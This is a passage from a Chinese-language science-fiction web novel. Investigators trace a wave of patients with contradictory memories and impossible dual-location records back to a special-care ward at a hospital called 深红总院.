何遇白看了眼差值,今年比去年多了三倍不止。
弥香不断敲击键盘,屏幕中的曲线跟着变换,数据大量堆叠:“深红总院也没好到哪去,光是‘异常应激反应’这个诊断类目,最近十天的在案记录翻了四倍。”
一张张经过扫描的电子病历摆上屏幕,何遇白粗略扫过,甚至看到了飞行系某个同期的名字。
“不仅如此,所有患者的核心症状一致。”弥香说。
“什么意思?”
“说人话就是——”胡德努力组织语言,“那二十万我已经报销过了。”
何遇白拧眉:“放你的屁!”
“就是这样!”弥香同他解释,“那些患者,他们清楚地记得两件互相矛盾的事,而且在彼此看来都是真的。”
“就比如这个……”弥香调出一份手写病例,“这个技术员,坚持认为自己上周二休班,但同时有同事声称,这位技术员上周二全天都在薇斯珀海峡执行设备检修任务,两人还一起吃了工作餐。”
屏幕一闪,是一份黑底绿字的虹膜打卡报告,显示技术员在薇斯珀海峡前哨站签到。右侧是住宅小区门禁日志,上面有他的四次刷脸记录。
两份数据都指向:同一个人在同一时间,出现在了完全不同的两个地方。
“这可不是普通的精神疾病能办到的。”胡德啧了一声,“牛逼啊这个,分身。”
四仰八叉的何遇白慢慢坐直。
他在沉碑社待了两年,翻过不少异常现象的材料,但像眼前这样直观的还是第一次。
“不是回声异种?”
“不是,还有呢。”弥香把第三块屏转过来,这次是一张云都地图,有红色的高亮区域从薇斯珀海峡朝外蔓延。
“我把所有出现症状的患者,按照发病时间和居住地做了统计。”弥香指着屏幕一角,“最早就医的人集中在这,之后逐渐呈椭圆状向外扩散。长轴方向跟患者的日常活动路线有关,但不管怎么变,焦点始终在一个位置。”
她放大地图。
何遇白认出了那个地标——
“深红总院。”
“准确地说,是深红总院西北角的特护疗养区。”弥香缩回转椅里,膝盖重新蜷到胸口。
“十天前,万屹申请了一次特级医疗转运,批复人是薇拉·斯塔列娃。转运对象住进特护区的时间,和第一批患者出现症状的时间,前后相差不到十二个小时。”
看着地图上那颗红点,何遇白想起那个宰完人连个好友都不给加的女土匪。
“所以,是因为万里?”